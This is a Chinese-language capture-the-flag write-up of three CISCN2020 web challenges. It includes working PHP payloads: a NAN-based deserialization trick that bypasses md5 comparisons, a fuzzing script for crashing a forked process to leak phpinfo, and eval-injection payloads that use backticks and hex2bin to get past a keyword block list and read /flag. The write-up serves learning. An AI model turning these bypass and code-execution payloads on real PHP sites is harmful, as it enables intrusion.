CISCN2020初赛_Web
easytrick
<?php class trick{public $trick1;public $trick2;public function __destruct(){$this->trick1 = (string)$this->trick1;if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){die("你太長了");}if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){echo file_get_contents("/flag");}} } highlight_file(__FILE__); unserialize($_GET['trick']);觀察代碼,發現trick1 這個參數被強制轉成了string類型,這里之所以強制轉換,主要是下面的md5($this->trick1) === md5($this->trick2),雖然是===,但md5函數在處理數組時有缺陷默認數組為0,所以這里才要強制轉換下類型。
這道題是根據強網杯的一道題改的
if($_POST['param1']!==$_POST['param2'] &&md5($_POST['param1'])===md5($_POST['param2'])) {die("success!"); }這道題就多了一個檢測長度的和$this->trick1 != $this->trick2,所以就要思考怎么繞過去。
首先要說的一點便是!==和!=這兩點的區別
<?php $a=1; $b='1'; $c=1; var_dump($a!==$b); #bool(true) var_dump($a!=$b); #bool(false) == 和 != 比較如果類型不同,先償試轉換類型,再作值比較,最后返回值比較結果 === 和 !== 只有在相同類型下,才會比較其值當時做題思考的是因為此時不能輸入數組了,只能輸入字符串,就需要進行md5碰撞
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea24dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2
都有相同的hash值,但在這道題中是不行的,因為長度限制了,沒做出來也是卡在這里了。看了Y1ng師傅的WP,才知道利用NAN或INF即可
payload:
<?php class trick{public $trick1;public $trick2; }$tr = new trick(); $tr->trick1 = NAN; $tr->trick2 = NAN; echo serialize($tr);得到的序列化傳進去即可得到flag,這里可能在$this->trick1 != $this->trick2這段代碼處有所疑惑,不都是NaN,而且上面不是還是說==先轉換類型再比較值,既然這樣為什么還是執行成功了,原因在于
NAN代表非數值的特殊值,用于指示某個值不是數字 NAN與其他數值進行比較的結果總是不相等的,包括自身在內所以比較結果為true
與自身不等的浮點數類型
除此之外,看了Drom師傅的博客學到了另外一種方法:
因為這道題是考察浮點數精度問題導致的大小比較以及函數處理問題,當小數小于10^-16后,PHP對于小數就大小不分了
var_dump(1.000000000000000 == 1) >> TRUE var_dump(1.0000000000000001 == 1) >> TRUE
0.9999999999999999(17個9)經過strlen函數會判斷為1
經過測試發現!==和!=均成立
最后看一下md5函數處理后是否相同
確實也成立,那就寫payload即可
注意這里trick1的值必須為1,如果為0.9999999999999999則出不來結果,因為$this->trick1 = (string)$this->trick1;有這個語句的限制,如果為0.9999999999999999,則浮點數就變成了字符類型,因此就不會產生上面的浮點數精度問題
easyphp
題目源碼:
<?php//題目環境:php:7.4.8-apache$pid = pcntl_fork();if ($pid == -1) {die('could not fork');}else if ($pid){$r=pcntl_wait($status);if(!pcntl_wifexited($status)){phpinfo();}}else{highlight_file(__FILE__);if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){call_user_func_array($_GET['a'],[$_GET['b'],false,true]);}posix_kill(posix_getpid(), SIGUSR1);}做這道題前先來認識幾個函數
pcntl_fork()函數是php-pcntl模塊中用于創建進程的函數 pcntl_fork()創建子進程成功后,在父進程內,返回子進程號,在子進程內返回0,失敗則返回-1 pcntl_wait — 等待或返回fork的子進程狀態 pcntl_wifexited — 檢查狀態代碼是否代表一個正常的退出。 call_user_func_array ( callable $callback , array $param_arr ) 把第一個參數作為回調函數(callback)調用,把參數數組作(param_arr)為回調函數的的參數傳入。通過這個代碼可以簡單了解一下執行過程
<?php $pid = pcntl_fork(); //父進程和子進程都會執行下面代碼 if ($pid == -1) {//錯誤處理:創建子進程失敗時返回-1.die('could not fork'); } else if ($pid) {//父進程會得到子進程號,所以這里是父進程執行的邏輯pcntl_wait($status); //等待子進程中斷,防止子進程成為僵尸進程。 } else {//子進程得到的$pid為0, 所以這里是子進程執行的邏輯。 }因為pcntl_wait 父進程等待子進程退出才會執行下面,那么思路就很明顯了,需要子進程不正常退出,從而執行父進程,獲取到phpinfo()
由于是調用函數,函數名可控,但是函數這么多,也不知道找哪一個函數才能使子進程不正常退出,所以干脆寫個所有函數名的字典,利用腳本fuzz一下
#參考Drom師傅的腳本 <?php $result = ""; foreach (get_defined_functions() as $key => $val){if ($key == 'internal'){foreach ($val as $k=>$v){$result = $result.$v." ";}} } echo $result; if(file_exists("func_name.txt")){unlink("func_name.txt"); }else{file_put_contents("func_name.txt",$result); }再將字典寫入腳本中
因為這里是自己復現的,所有查詢的關鍵字就改成了phpinfo里面才有的System,目的都是看該函數有沒有使子進程不正常退出。
最終發現以下幾個函數都可以使子進程不正常退出
similar_text is_callable stream_socket_client stream_socket_server fsockopen pfsockopenrceme
源碼如下:
<?phperror_reporting(0);highlight_file(__FILE__);parserIfLabel($_GET['a']);function danger_key($s) {$s=htmlspecialchars($s);$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');$s = str_ireplace($key,"*",$s);$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');foreach ($danger as $val){if(strpos($s,$val) !==false){die('很抱歉,執行出錯,發現危險字符【'.$val.'】');}}if(preg_match("/^[a-z]$/i")){die('很抱歉,執行出錯,發現危險字符');}return $s;}function parserIfLabel( $content ) {$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';if ( preg_match_all( $pattern, $content, $matches ) ) {$count = count( $matches[ 0 ] );for ( $i = 0; $i < $count; $i++ ) {$flag = '';$out_html = '';$ifstr = $matches[ 1 ][ $i ];$ifstr=danger_key($ifstr,1);if(strpos($ifstr,'=') !== false){$arr= splits($ifstr,'=');if($arr[0]=='' || $arr[1]==''){die('很抱歉,模板中有錯誤的判斷,請修正【'.$ifstr.'】');}$ifstr = str_replace( '=', '==', $ifstr );}$ifstr = str_replace( '<>', '!=', $ifstr );$ifstr = str_replace( 'or', '||', $ifstr );$ifstr = str_replace( 'and', '&&', $ifstr );$ifstr = str_replace( 'mod', '%', $ifstr );$ifstr = str_replace( 'not', '!', $ifstr );if ( preg_match( '/\{|}/', $ifstr)) {die('很抱歉,模板中有錯誤的判斷,請修正'.$ifstr);}else{@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );}if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {switch ( $flag ) {case 'if':if ( isset( $matches2[ 1 ] ) ) {$out_html .= $matches2[ 1 ];}break;case 'else':if ( isset( $matches2[ 2 ] ) ) {$out_html .= $matches2[ 2 ];}break;}} elseif ( $flag == 'if' ) {$out_html .= $matches[ 2 ][ $i ];}$pattern2 = '/\{if([0-9]):/';if ( preg_match( $pattern2, $out_html, $matches3 ) ) {$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );$out_html = $this->parserIfLabel( $out_html );}$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );}}return $content;}function splits( $s, $str=',' ) {if ( empty( $s ) ) return array( '' );if ( strpos( $s, $str ) !== false ) {return explode( $str, $s );} else {return array( $s );}}這道題應該是根據zzzphpV1.6.1 遠程代碼執行漏洞進行改編的,可以參考下面的文章
https://www.anquanke.com/post/id/173991#h2-5
發現比之前的代碼多了一個函數danger_key,這個函數的作用便是過濾ifstr變量中的危險函數
除此之外,還進行了一些過濾
if ( preg_match( '/\{|}/', $ifstr)) {die('很抱歉,模板中有錯誤的判斷,請修正'.$ifstr);}function splits( $s, $str=',' ) {if ( empty( $s ) ) return array( '' );if ( strpos( $s, $str ) !== false ) {return explode( $str, $s );} else {return array( $s );}}根據那篇文章發現這段代碼
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );是直接eval了變量,分析下變量是否可控
$pattern = '/{if:([sS]+?)}([sS]*?){ends+if}/';先分析下這個正則是怎么匹配的
(括號代表的是匹配的組) sS 是任意匹配內容(比.還要強可以匹配換行等等) ends+if 代表 end 和 if之間至少要有個空白符(空白 換行等) 也就是說這個正則匹配的格式: {if:(匹配內容)}(匹配內容){end if}假如匹配的內容為{if:phpinfo()};{end if}則最后經過如下代碼處理后 @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' ); 拼接出來為if(phpinfo()){$flag="if";}else{$flag="else";}利用這個正則匹配格式進行測試,因為很多危險函數都被過濾了,所以無法利用,但發現var_dump沒有被過濾,可以結合反引號一起利用下
payload為
?a={if:(var_dump(`cat /flag`))}(1){end if}測試環境
另外hex2bin也沒有被過濾,可以利用這個函數構造payload
把十六進制值轉換為 ASCII 字符
system('cat /flag') =》 0x73797374656d2827636174202f666c61672729 hex2bin('73797374656d')('/flag')故payload為
?a={if:(hex2bin('73797374656d')('cat /flag'))}(1){end if}總結
babyunserialize暫時還沒有源碼,所以先放一下,待有環境了再復現下,而littlegame這道題涉及到set-value庫 原型鏈污染,之前沒接觸過,單獨學習下總結起來,還是做題過于少了,繼續沖沖沖!
參考博客
https://blog.csdn.net/qq_42697109/article/details/108212765
https://www.gem-love.com/ctf/2569.html
總結
以上是生活随笔為你收集整理的CISCN2020初赛_Web的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 浅析php反序列化字符串逃逸
- 下一篇: 浅析无字符数字构造webshell